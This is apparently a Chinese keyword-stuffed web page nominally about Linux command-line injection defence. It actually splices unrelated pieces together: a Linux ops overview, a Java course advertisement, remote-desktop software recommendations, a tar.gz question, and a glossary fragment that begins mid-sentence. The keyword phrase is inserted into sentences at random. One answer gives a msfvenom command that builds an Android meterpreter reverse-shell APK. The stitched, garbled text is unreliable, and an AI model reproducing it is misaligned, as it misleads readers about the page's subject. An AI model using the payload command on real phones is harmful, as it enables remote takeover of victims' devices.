命令行注入linux 命令行注入攻击防御

学习Linux难吗

Linux是学习曲线比较陡峭的学科，刚开始学习有些难度 ，入门后就相对比较轻松了。学习Linux大部分做的是运维工程师或者云计算工程师。

运维不仅仅是懂Linux就行，因为还有一大部分的Windows运维，最近看一个报道说，windows的服务器占了47.71%。嗯，向windows运维人员致敬。当然我们这篇文章不是说运维除了懂Linux，还要懂Windows，而是涉及运维的其他方方面面。

环境部署

一开始这个世界是开发的，然后才是运维的。

开发实现产品逻辑，将产品开发完成后，然后提交运维进行部署。此时允许就需要准备好部署环境，如部署在Linux服务器上，安装相应的软件，如Apache、Nginx、tomcat、JDK、PHP、MySQL等等。你不能只装了软件吧，还需要看看具体是哪个版本，java 7 和java 8 的差别还是有点的，php5和php7也有些语法不兼容。把软件都安装好了，就可以上线了？还是不行。还需要测试吧，那就还需要部署一套测试环境。有些时候，开发环境也是需要运维来部署的。

排错和调优

事情从来都没有一帆风顺的。

上线没多久，服务就502了，还不被老板骂死。尽管你有一肚子的委屈，我只是个运维，代码不是我写的，为什么要我来背这锅？！委屈归委屈，服务访问不了了，就是运维的事。尽快定位问题，解决问题才是王道。怎么来定位问题呢？最简单直接的办法就是看日志，看系统日志，看软件相关的日志，结合故障现象和经验，快速的进行定位和恢复。然后就是总结经验，吸取教训，写事故报告。OK，现在你知道，需要对系统环境需要进行一定的调优操作，不再做背锅侠。

相关技术: top, vmstat, iftop, awk, sed, sar, iostat, strace, ...

备份

做最好的计划，做最坏的打算。

前不久的gitlab删库事件的教训犹在眼前，丢失了几小时的数据，虽然大部分的备份策略都失效了，但还是挽救了几小时前的一个备份，才没有造成更大的数据丢失和公司损失。我们需要对设备进行备份冗余，需要对数据库进行备份及离线备份，需要对网站静态进行备份冗余，需要对机房进行备用，能做到双活，那是更好的啦。

相关技术: rsync, crontab, lvm快照, mysqldump, extrabackup, 完全备份, 差异备份, 增量备份, 离线异地备份, ...

高可用和集群

没有永垂不朽，我们不能保证硬件24小时在线，但需要保障服务24小时在线。

出现故障后，如果做好高可用和冗余，故障自动切换，移除故障节点，那样也就保障了服务的实时在线。在老板和用户不知情的情况下，悄么的把故障处理好的，KPI算是保住了，奖金也许就会有的吧。

相关技术: F5, Nginx, LVS, HA-proxy, MHA, Zookeeper, 各种其他分布式集群方案, ...

监控告警

运维工程师的第一次解放运动。

时刻担心网站挂掉，一年365天、每周7天、每天24小时，时刻保持精神高度紧张，就算你是神仙都会撑不住的。我们需要一个机器来监督其他的机器工作，我们需要解放我们自己。当有故障发生的时候，通过短信、微信、钉钉、邮件等等通知对应的运维工程师来处理，甚至是自动切换或摘除故障节点，然后我们离线对故障节点进行问题排查。

相关技术：Zabbix, Nagios, Cacti, Prometheus, open-falcon, Ganglia, sar, ...

安全和审计

狂奔在互联网的康庄大道上，不过有些人是在裸奔。

不安全的网络环境和服务器配置，无异于在网络世界裸奔，任何人都可以窥探你的隐私。你的应用是否做了SQL防注入？你的防火墙是否开启？是否还在用root+密码的方式登录服务器？网站开启了https么？是否对系统操作进行审计？

相关技术: iptables, firewalld, waf, auditd, 各服务的正确配置, ...

自动化和DevOps

运维工程师的第二次解放运动。

偷懒是社会进步的第一动力。聪明的我们怎么会让自己一直在重复枯燥的事情上浪费时间，装系统、部署环境、发版本、批量操作，把这一切交给程序去实现吧，我们需要的是享受生活。

相关技术: shell, python, go, rundeck, ansible, saltstack, puppet, chef, cobbler, fabric, ...

虚拟化和云服务

正在发生的一场运维革命。

这场革命的发起人是买书的亚马逊，这家伙希望卖一切可以卖的东西，包括自己闲置的服务器资源。现在国内的阿里云和腾讯云也发展得如日中天，他们几乎提供了运维所需要的一切，甚至可以让一个公司不再需要运维的岗位。你需要服务器，只需要几秒钟，就可以创建一台。你需要数据库集群，只需要鼠标点击几下，就可以开通。

相关技术：docker, Moby, kubernetes, Xen, CoreOS, Hyper-V, KVM, ...

相关问答

Q1: 如何手动将Metasploit的Payloads注入到Android应用中

打开vm启动Kali linux。接着打开终端命令行注入linux，使用msfvenom制作android利用程序。Msfvenom是msfpayload和msfencode命令行注入linux的组合。它是一个单一命令行注入linux的工具。它有标准的命令行选项。 Msfvenom用来制造的有效载荷用来渗透Android模拟器。 一旦打开终端提示符下输入以下命令命令行注入linux，使用msfvenom工具来创建有效载荷APK文件。 ``` msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1128 LPORT=4444 R /root/Desktop/pentest.apk ``` p 设置要使用的payload LHOST 设置用来接收反弹连接的主机 LPORT 设置用来接收反弹连接的端口 R 设置文件格式 Location 要保存的文件位置 这个命令执行完之后，命令行注入linux你会看到一些错误，但不用担心。现在可以到输出目录查看生成的apk了。

Q2: 在网络安全中sourceintelcor表示什么

知情的情况下收集和窃取受害者的敏感信息。木马，广告软件和系统监视器是不同类型的间谍软件。间谍软件监视并存储受害者的 Internet活动（击键，浏览器历史记录等），还可以获取用户名，密码，财务信息等。它还可以将此机密数据发送到网络罪犯操作的服务器，以便可以在随后的网络攻击中使用。

SIEM：安全信息和事件管理（Security Information and Event Management）

安全信息和事件管理（SIEM）是一个正式的过程，通过这个过程对一个组织的安全进行持续的监控和评估。SIEM有助于自动识别不符合安全政策的系统，并将任何违反安全的事件通知IRT（事件响应小组）。

SIM Swapping：SIM交换

SIM卡互换是一种用于拦截网上银行短信验证码的骗局。为了掌握金融交易的一次性密码，网络犯罪分子会创建或以欺诈方式获得受害者的SIM卡副本--例如，攻击者假装是受害者，可能会声称丢失了SIM卡，并向移动运营商申请一张新的SIM卡。

SSL：安全套接字层（Secure Socket Layer）

安全套接字层（SSL）是在网络服务器和浏览器之间建立加密链接的标准安全技术。SSL最初由网景公司开发，允许通过互联网传输私密文件。

SQL injection：SQL注入

这是一种使用代码注入来攻击由数据驱动的应用程序的策略。恶意注入的 SQL 代码可以执行多种操作，包括将所有数据转储到攻击者控制的位置的数据库中。通过这种攻击，恶意黑客可以欺骗身份，修改数据或篡改数据，泄露机密数据，删除和销毁数据或使其不可用。还可以完全控制数据库。

Steganography：隐写术

一种加密数据，将其隐藏在文本或图像中的方法。

Q3: java培训主要学什么？

像这样的问题，我已经回答了很多次，现在很多新手，特别是刚刚入行想学java的同学，不知道该从哪里入手，我是在成都课工场学java入的行，现在已变成老司机，我整理了一些java的知识点，一共分为六个阶段，273个技能点，第一阶段、第二阶段、第三阶段、第四阶段是必须要掌握的，很多机构忽悠人，就只学到第四阶段，第五阶段和第六阶段就是高薪、高职的保障，就说说想高薪必须得把后面两个阶段的给掌握了，老铁，觉得合适采纳下啊。

第一阶段：java基本功修炼

1. 认识计算机硬件

2. 计算机组成原理

3. 计算机软件知识

4. 计算机网络知识

5. 常用网络应用操作

6. 认识计算机病毒

7. 逻辑训练

8. 初识Java

9. 变量和数据类型

10. 选择结构

11. 循环结构for

12. 循环结构do-while

13. 循环结构while

14. 多重循环及程序调试

15. 循环进阶

16. 一维数组及经典应用

17. 二维数组

18. 认识类与对象

19. 方法及方法重载

20. 封装与继承

21. 方法重写与多态

22. 项目实战-汽车租赁系统

23. 抽象类和接口

24. 异常

25. 项目实战-QuickHit

26. Java 中的集合类型

27. List 集合

28. Set 集合

29. HashMap 集合

30. Iterator

31. Collections 算法类及常用方法

32. enum

33. 包装类及装箱拆箱

34. String、StringBuffer 类常用方法操作字符串

35. Date、Calendar

36. Math 类常用方法

37. IO/NIO

38. 字节输入流(InputStream、FileInputStream、BufferedInputStream)

39. 字节输出流(OutputStream、FileOutputStream、BufferedOutputStream)

40. 字符输入流(Reader、InputStreamReader、FileReader BufferedReader)

41. 字节输出流(Writer、OutputStreamWriter、FileWriter、BufferedWriter)

42. 文件复制

43. Serialize、Deserialize

44. 职场晋升力：四象限时间管理与精力管理

45. 多线程(Thread、Runnable)

46. Thread LifeCycle

47. 线程的调度

48. 线程的同步和死锁

49. Thread Pool

50. 职场晋升力：团队合作

51. Socket(TCP、UDP)

52. XML 概念、优势、规范

53. XML 中特殊字符的处理

54. 使用DOM 读取、添加、删除、解析 XML 数据

第二阶段：javaweb开发

55. 搭建和配置MySQL 数据库

56. 数据库增、删、查、改语句

57. 事务

58. 视图

59. 数据库备份与恢复

60. 数据库用户管理

61. 数据库设计

62. 项目实战-银行ATM 存取款机系统

63. 走进 HTML 和CSS

64. 列表表格及表单美化

65. CSS 高级操作

66. Bootstrap

67. CSS 组件

68. JavaScript 面向对象

69. JavaScript 判断、循环

70. JavaScript 闭包

71. JavaScript 语法

72. Bootstrap 综合案例

73. HTML5、CSS3

74. jQuery 基础

75. jQuery 基本操作

76. jQuery 事件与特效

77. jQuery Ajax

78. jQuery 插件

79. 搭建Web 环境初识JSP

80. JSP 九大内置对象

81. JSP 实现数据传递和保存

82. JDBC

83. 单例模式、工厂模式

84. MVC、三层模式

85. Commons-fileupload、CKEditor

86. 分页查询

87. EL 与 JSTL

88. Servlet 与Filter

89. Listener 与MVC

90. Ajax 与 jQuery

91. jQuery 的Ajax 交互扩展

92. 项目实战—使用Ajax 技术改进新闻发布系统

93. 反射

94. Linux 系统的安装

95. 在Linux 中管理目录和文件

96. 在Linux 中管理用户和权限

97. 在Linux 服务器环境下安装软件和部署项目

98. 职场晋升力：职场沟通

第三阶段： 企业级框架开发

99. MyBatis 环境搭建

100. SQL 映射文件

101. 动态SQL

102. MyBatis 框架原理

103. Spring IOC

104. 构造注入、依赖注入、注解

105. Spring 整合MyBatis(SqlSessionTemplate、MapperFactoryBean、事务

处理)

106. Spring 数据源(属性文件、JNDI)、Bean 作用域

107. Spring 框架的运行原理

108. SpringMVC 体系概念

109. SpringMVC 之数据绑定、数据效验、

110. SpringMVC 之视图及视图解析

111. SpringMVC 之文件上传、本地化解析

112. SpringMVC 之静态资源处理、请求拦截器、异常处理

113. Oracle 数据库环境搭建、安装

114. Oracle 数据库 SQL、分页、备份、还原

115. Hibernate 概念、依赖

116. HQL 查询语言

117. Hibernate 中配置关联映射

118. HQL 连接查询与 Hibernate 注解

119. Struts 2 概念、依赖

120. Struts 2 配置

121. OGNL 表达式

122. Struts 2 拦截器

123. SSH 框架整合

124. 使用Maven 构建项目

125. 使用Struts 2 实现Ajax

126. Jsoup 网络爬虫

127. 多线程网络爬虫

128. 反爬及反反爬策略

129. 通用爬虫设计

130. Echart 图表分析

131. IKAnalyzer 分词

132. 企业框架项目实战-代理商管理系统

133. 企业框架项目实战-SL 会员商城

134. 企业框架项目实战-会员管理系统

135.企业框架项目实战-互联网招聘信息采集分析平台

第四阶段： 前后端分离开发

136. GitHub

137. Git 基础(checkout、pull、commit、push、merge 等)

138. Git 进阶(多分支协作)

139. GitLab

140. IDEA 的使用

141. Maven 介绍(概念、仓库、构建、命令)

142. 使用Maven 构建WEB 项目

143. 使用Maven 构建多模块项目

144. 使用Maven 搭建私服仓库

145. Scrum 框架介绍(三个角色、三个工件、四个会议)

146. Scrum Team 组建团队

147. 产品需求和用户故事

148. 每日立会

149. 使用敏捷-Scrum 方式开发管理实战

150. 前后端分离、分布式集群架构、垂直架构

151. SSM（SpringMVC+Spring+MyBatis）整合实战

152. Git、Maven 私服Nexus

153. 第三方接入技术（微信、阿里）

154. MySQL 电商实战

155. Redis（缓存服务）

156. 搜索引擎-Solr

157. 集成API Doc 工具-Swagger

158. 图片自动化处理：Tengine+LUA+GraphicsMagic

159. 手机、邮箱注册

160. 单点登录 Token

161. OAuth2.0 认证

162. Jsoup 网络爬虫(多线程爬虫/代理 IP 爬虫)

163. ExecutorService 线程池

164. IK 中文分词

165. Postman

166. ReactJS

167. webpack

168. 职场晋升力：简历撰写

169. 程序猿面试宝典之项目面试

170.大型互联网旅游电商项目实战-爱旅行

第五阶段： 分布式微服架构开发

171. Spring Boot 环境搭建

172. Spring Boot 常用技能

173. Spring Boot 整合Redis

174. Spring Boot 整合Mybatis

175. 微服务架构及架构设计

176. 消息队列

ActiveMQ\RabbitMQ

177. 分布式事务

178. 分布式锁 Redis-setnx

179. Zookeeper 注册中心

180. 基于 ActiveMQ 实现高并发

181. Docker 环境搭建

182. Docker 镜像加速

183. Docker 容器管理

184. Docker 镜像管理

185. Docker 容器文件备份

186. Dockerfile

187. Docker 私服仓库

188. 真实互联网高并发电商项目实战-双十一抢购

189. 可视化监控 Portainer

190. Docker Compose 容器编排

191. Docker Compose 扩容、缩容

192. Docker Swarm 集群编排

193. Jenkins 安装、插件配置

194. Jenkins 配置普通任务

195. Jenkins 配置管道任务

196. Jenkins 自动发布服务

197. Spring Cloud Eureka

198. Spring Cloud Feign

199. Spring Cloud Ribbon

200. Spring Cloud Zuul

201. Spring Cloud Config

202. Spring Cloud Hystrix

203. Spring Cloud Sleuth

204. Spring Boot Admin

205.Eureka 注册原理探秘

206. Spring Cloud 大坑解读

207. Zipkin

208. Zipkin 整合RabbitMQ

209. Zipkin 整合MySQL

210. ELK 日志收集

211.Kafka

212. Elasticsearch 映射管理

213. Elasticsearch 查询/复合查询

214. Elasticsearch 集群/集群规划

215. Elasticsearch 聚合

216. Elasticsearch 集群监控

217. Elasticsearch 插件

(Head/BigDesk)

218. Mycat 读写分离

219. Mycat 一主多从

220. Mycat 多主多从

221. Mycat 数据分片

222. Redis

223. Redis-Redlock

224. Elasticsearch 环境搭建

225. Elasticsearch 客户端

226. Elasticsearch 索引管理

227. Elasticsearch 文档管理

228. Mycat 集群

229. Jmeter 并发测试

230. Jmeter 生成测试报告

231. 微信登录

232. 微信支付

233. 支付宝支付

234. 百度地图

235. Sonar 本地检测

236. Sonar +Jenkins 线上检测

237. CI/CD

238. Spring Boot 改造爱旅行项目实战

239. 大型互联网票务类电商项目实战-大觅网

240. ES6 概念(les、const)

241. ES6 对象和数组

242. ES6 函数扩展

243. VUE 环境搭建

244. VUE.JS 指令

245.VUE 交互

246. VUE 实例生命周期

247. VUE 组件

248. VUE 项目环境配置及单文件组件

249.VUE 路由

第六阶段：cc服务

250. Spring Cloud Gateway

251. Consul

252. Nacos

253. Eureka、Consu、lNacos、Zookeeper 对比分析

254. Prometheus + Grafana

255. ES 分布式存储原理

256. NoSQL 数据库解决方案(Redis、MongoDB)

257. OAuth2.0 认证( authorization code 模式)

258. OAuth2.0 认证( implicit 模式)

259. OAuth2.0 认证( resource owner password credentials 模式)

260. OAuth2.0 认证( client credentials 模式)

261. NAS/FastDFS 分布式文件存储

262. Python 基础

263. Python 爬虫

264. 大数据及 Hadoop 概述

265. 分布式文件系统 HDFS

266. 分布式计算框架MapReduce

267. 分布式列式数据库 HBase

268. Hadoop 综合应用

269. 面试大局观

270. 职业规划

271. 项目面试

272. 具体业务场景化解决方案

273. 更多技术专题持续增加中

我估计能把你看晕，有不清楚的可以私信我

Q4: 哪些远程操作软件比较好用？

远程操控软件主要有两类：一类是命令行远程工具命令行注入linux，一类是图形界面远程工具。命令行工具主要程序员用得多，一般用来链接远程服务器命令行注入linux；图形界面工具普通用户用得多，一般用来链接远程桌面电脑进行辅助操作，其实QQ就具有远程操控功能，对于普通用户命令行注入linux的普通远程需求绝对是足够的。

命令行远程工具

在Unix/Linux/macOS平台下，terminal工具已经很强大了，这些工具箱已经完全足够开发者使用了，你可以用这些工具来管理你的远程服务器。

Cmder： 这是Windows平台最好的终端模拟工具，windows那个自带的cmd有多难用想必就不需要命令行注入linux我多说了，cmder则是很好的解决了这个问题。这款工具便携、解压即可用，自带了git、ls、curl等命令，也可以设置命令别名。同时也支持tab分页、同屏幕多端口（垂直分割、水平分割），如果你喜欢你完全可以自定义terminal，也可以注入环境变量。

WinSCP： 这款工具也可以说是超级工具了，是Windows上最好的SFTP、FTP、SCP客户端，来实现Unix、Linux的文件共享。WinSCP是Windows下的开源图形化SFTP客户端，支持SCP协议，主要作用就是用来远程控制。支持所有的常用文件操作，支持批处理脚本、内置文本编辑器等。

Zoc7和iTerm2： 这两个工具是我在macOS下用得最多的工具，当然macOS的terminal已经足够好用了，只不过这两个第三方工具比terminal用起来体验并不差，还拥有非常好的图形化界面。Zoc7界面就是好看，并且也同时支持Windows和macOS双平台，ZOC Terminal是非常专业终端的模拟器和Telenet客户端，可通过 SSH、Telnet、rlogin、串行端口等多种通信方式连接到Unix / Linux主机和 shell 帐号、BBS、IBM 大型机、MUD 或串行端口设备。iTerm2也是颜值非常高的终端工具，快捷键、分屏、定制主题颜色都非常好用。不过这玩意儿有些比较明显的缺点，比如和其他的工具兼容性比较差，与系统主题的冲突比较明显 。

图形化远程工具

这个一般是我们帮助别人远程解决一些实际问题用的，因此必须要有图形化界面，这类工具比较有代表性的是Jump Desktop、teamviewer、Anydesk、向日葵等。今天主要讲一下向日葵这款国产软件。

向日葵远程控制是一款来自上海企业开发的远程控制软件，是一款真正的国产软件。

这款软件首先是跨平台的，分别有Windows、macOS、Linux、Android、iOS等众多平台，是一款真正跨平台工具；

可以远程操控电脑，甚至可以远程开机、远程控制内网设备，支持同步剪贴、黑屏等众多功能；

远程控制手机，基本上主流的Android手机都可以控制，可以控制、观看界面，也可以观看摄像头，你可以通过iPhone、Android手机、电脑来远程控制Android设备；

除此之外，向日葵还可以远程 游戏 ，针对专属服务器优化、端游变手游、还有专属的交互功能，也可以实现手机投屏到PC上，并且不局限在局域网内。

这里介绍3个不错的远程控制软件，分别是 向日葵、 teamviewer和anydesk，这3个软件使用起来都非常简单，感兴趣的朋友可以自己尝试一下，下面以手机远程控制电脑为例（电脑远程控制电脑类似）：

向日葵

这是一个非常不错的国产远程控制软件，只要在电脑端和手机端同时安装这个软件，手机端输入电脑端识别码后，就可以远程控制电脑了，下面我简单介绍一下操作过程：

1.首先，电脑端下载安装向日葵软件，这个直接到官网上下载就行，如下，各个平台的版本都有，选择适合自己平台的即可：

2.安装完成后，打开这个软件，主界面如下，这里软件会自动为本机生成一个唯一的设别码，后面手机端需要输入这个识别码才能远程控制电脑：

3.接着在手机端安装向日葵软件，这个直接在手机应用商店中搜索就行，安装完成后，打开这个软件，点击右上角的加号，依次选择“添加电脑主机”-“识别码添加”，输入上面主机的识别码，验证成功后，就可以远程控制电脑了，效果如下：

teamviewer

这也是一个非常不错的远程控制软件，在使用上和向日葵差不多，也需要在电脑端和手机端同时安装，下面我简单介绍一下操作过程：

1.首先，电脑端下载安装teamviewer，这个也直接到官网上下载就行，如下，选择适合自己平台的版本即可：

2.安装完成后，打开这个软件，主界面如下，这里软件会自动为本机生成唯一的ID和密码（也可以自行设置），后面也需要在手机输入这2个信息才能远程控制电脑：

3.接着在手机端安装teamviewer软件，这个也直接在手机应用商店中搜索就行，安装成功后，根据软件提示依次输入上面主机的ID和密码，成功验证后，就可以远程控制电脑了，效果如下：

anydesk

这也是一个不错的远程控制软件，非常轻巧灵活，也需要在手机端和电脑端同时安装，下面我简单一下操作过程：

1.首先，电脑端下载anydesk，这个也直接到官网上下载就行，如下，个人使用完全免费，选择适合自己平台的版本即可：

2.下载完成后，打开这个软件，主界面如下，这里也会为主机生成一个唯一识别码，后面手机端也需要输入这个信息才能远程控制电脑：

3.最后再在手机端下载anydesk，输入上面主机的识别码，电脑端接受后，就可以远程控制电脑了，效果如下：

由于工作原因，我的电脑需要经常在不同的地方使用，但是我又比较懒，不愿意背着电脑跑来跑去，除了单位给配的两台电脑外，自己还买了一台，家里放一台，办公室放一台，然后就是项目驻地放一台，不过这样也有个问题，那就是文件资料的存放以及自我协同办公的处理。这个问题的处理就用到了远程操作软件，下面就推荐一款我使用并且体验不错的远程操作软件。

这款软件还可以进行文件传输，在不同的电脑上更新文件非常方便。

好了，我的推荐就到这里了，感兴趣的朋友可以试试，感谢阅读！

远程操作应该是很多做软件的朋友们经常使用的一种调试或者运维手段，在人员不方便到达设备现场时，常会想到用远程软件来操作电脑，以方便及时解决问题。而对于经常使用的远程操作软件又有哪些呢？

Teamviewer

Teamviewer软件应该是众多的远程操作软件中名气比较大的一款，开发于2005年，软件使用率非常高，其官方数据称，全球有超过2.0亿台电脑上安装了Teamviewer软件。

1、支持多平台，Teamviewer支持多种系统，比如微软Windows，Linux等，而且支持多种系统之间的相互连接操作.

2、无需配置，软件安装完毕之后，就可以使用，不需要像Windows自带的远程桌面那样的繁琐设置。

3、个人版免费使用，若是个人用途，Teamviewer完全免费。

缺点，软件稍微有点大。

向日葵

向日葵远程软件是上海的一家 科技 公司开发的，名字叫做上海贝锐信息 科技 股份有限公司，而向日葵远程软件是其公司的一款远程控制软件，还有一款知名的软件也是他家的产品，就是花生壳，一款云平台服务器。

1、跨系统，向日葵远程控制软件能够帮助用户克服跨系统难题，不管你是用安卓机，还是苹果机、电脑都能轻轻松松访问安卓设备。

2、可观看远程手机操作，向日葵远程控制软件设备系统需Android 5.0以上，可免ROOT仅可远程观看，轻松一ROOT，从此远程操作无忧（部分手机需ROOT）。 这款功能非常的棒，若是家中的老人使用智能手机，不会操作时，我们可以远程教学。

3、高速流畅操作，软件体积非常小，安装简单，操作也很容易上手，最重要的是，非常的流畅。

缺点，还没发现什么缺点。

QQ远程

在最开始的时候，相信很多人使用的远程桌面基本上都是QQ远程，辅助设置一些电脑简单的操作，而对于QQ远程其优点如下：

缺点，远程总是失败，使用起来一点也不流利，比较卡顿。

针对上述三种远程软件，我比较推荐向日葵，而目前我经常使用的也是向日葵，主要是其软件较小，然后在远程时不怎么卡顿，非常的流利，当然还有其他的远程软件，而今天只介绍了我常用的这三款。

不知道各位朋友们，使用的是什么样的远程软件呢？

我的工作中时时刻刻都要用到远程操作软件，我说一个故事。

那天是一个烟雨朦胧的雨天，我挤上人挤人的地铁，做了1个小时的蜘蛛侠终于来到了公司。在卡着点踏进公司的大门，我心里舒了一口气，还好没迟到。按照惯例，我打开了xshell，一个我每天都要用的软件去远程登录我的系统，它以黑色的友好的界面深得我心。远程方法千千万，我偏最爱ssh，感谢那位开源的大神发明了ssh这么一个好东东，

首先感谢题主邀请。

这个问题你算问对人了，先前我在干网络工程师的时候，经常遇到需要远程到现场人员电脑上查看命令的情况，对于各种各样的远程操作软件还是比较熟悉的，下面由我来给您推荐几款常用的软件。

向日葵

我个人感觉，向日葵是我用过的最好的软件。向日葵有两种运行方式，大多数情况下我们选择无需安装的绿色运行就足以满足需求了。而且向日葵的使用很简单，在自己的电脑和对方的电脑安装客户端就好。受控机会生成一个识别码，控制方输入这个识别码就能实现远程控制。

除了正常的一些操作外，向日葵还能进行文字聊天，截屏，远端打印等操作，非常方便。同时向日葵支持无人值守，大家再也无需辛辛苦苦的守在电脑前。

我最喜欢的还是向日葵可以远程操控手机。没错，向日葵是有手机APP的，在一些没有电脑的工作场景，我们就能实现远程操作的目的了。不过这项功能是要收费的，价格倒也可以接收。

Teamviewer

这款来自德国的远程软件同样很受好评，teamviewer的优点在于安全性很高，而且传输过程很稳定。操作简单，只要稍加练习就可以轻松上手，远程软件该有的基本功能它都具备，网络连接很快也很稳定，整体感觉下来很不错。同时TeamViewer也是支持手机版的，尤其是对系统鼠标的控制这一块做的相当好，手势操作用起来很顺滑，没有其他软件那种生涩感。

不过目前Teamviewer已经商业化，不能再免费试用。虽然网上有不少破解版，但我希望大家有能力的话还是入正好些。

Yuuguu

听过yuuguu的朋友可能不多，这款软件比较小众。实际上yuuguu是一款类似于QQ，微信这样的社交软件。但他没有那么多杂七杂八的东西，而且在远程操作这一块，性能绝对出色。Yuuguu可以让你在与朋友聊天时与他们共享你的桌面，并远程操作你的电脑，同时支持多并行的情况。另外，Yuuguu在Mac，windows，linux几个主流平台下都有对应的版本，使用很方便。

你好，很高兴回答你的问题，远程操作软件有很多，确实在我们需要远程操作的时候，带来很多便利。今天就说说我用过的吧。

第一个大家一定想到是TeamViewer软件，软件操作和远程控制都不错，控制也比较流畅，但是他是一款收费软件，一旦试用到期了你就得够买，或者彻底删除后，重新安装。而且不同版本之同不能控制。总体来说还不错，业内有这么大的名气还是有原因的。

第二个是国产软件，也是我用的最多的，是上海贝锐信息 科技 推出的名字叫向日葵软件，这个软件有些朋友可能不是很了确，但是早期做过远程监控的朋友一定知道有一款做动太域名解析做的不错的软件，叫花生壳。而这款向日葵软件就是原花生壳的这家公司出品的，软件做的还不错，使用也很方便，原先花生壳用户名，向日葵软件也是可以登录的。这款国产远程控制软件值得一用，而且如果你只是远程控制，不需要远程开机功能，都是免费使用的。也支持手机APP控制。

总之，这两款软件你都可以试一下，如果你不是专业需要远程控制，也不是经常使用远程，向日葵软件还是重点推荐。

用过TeamViewer和向日葵，目前TeamViewer貌似收紧了个人用户免费试用的政策，使用的时候经常被迫断开。向日葵用起来还行，不过免费版本有限速，基本上只能简单用用，不过向日葵付费版最便宜的是98一年，感觉价格可以接受，如果有硬性需求的话不妨尝试一下。

举个百度网盘的例子，我同学需要下载一个大文件，我和他试了好几天各种办法，都没办法从百度那里把网速抠出来。最后他借了一个百度会员账号，轻轻松松解决了问题。所以有时候与其浪费宝贵的时间，不如直接花点小钱解决问题。一些实用软件和工具，如果肯花点小钱钱购买那些付费功能，会让生活变得更加美好。

命令行控制，使用putty或xshell就可以，用ssh登录。但是需要在一个局域网里

如果想使用图形界面控制个人电脑，网络不在一个局域网，需要内网穿透，推荐使用向日葵和teamviewer

你好，我是计算机专业的，从事IT行业，我可以帮你回答这个问题。

远程操控软件分为两种：

对于这两种我分别给你介绍几款软件。

终端命令方式操控

这种方式，一般底层技术都是依赖于ssh、telnet技术。

比如linux、类unix系统，通常使用ssh进行远程命令操控。

比较常用的方式有：

图形界面操控软件

此类的软件windows上较多，linux上较少。windows常用自带的远程桌面，手机上有RD Client。 其次是一些第三方的软件：

Q5: 菜鸟求救 linux tar.gz 文件默认安装目录在哪里

你说命令行注入linux的是qq for linux命令行注入linux的tar.gz版本吧命令行注入linux？这个东西直接解压，然后进入解压之后所在的目录，点击qq那个文件就能用，用图形界面比命令行更直观易行。

它并不是安装版，没有向系统注入信息，所以删除的时候也是直接删除解压出来的文件就可以命令行注入linux了。

一般的linux软件，如果是tar，则是解压出文件出来之后，用

./configure

make

(make install)

之类的命令自动安装的，一般存放的目录是/usr/bin。

另外，提示一点，linux下各命令的惯例都是：没有消息就是好消息。

没有任何提示，意味着你的命令已经得到成功执行。

关于命令行注入linux和命令行注入攻击防御的介绍到此就结束了，不知道你从中找到你需要的信息了吗 ？如果你还想了解更多这方面的信息，记得收藏关注本站。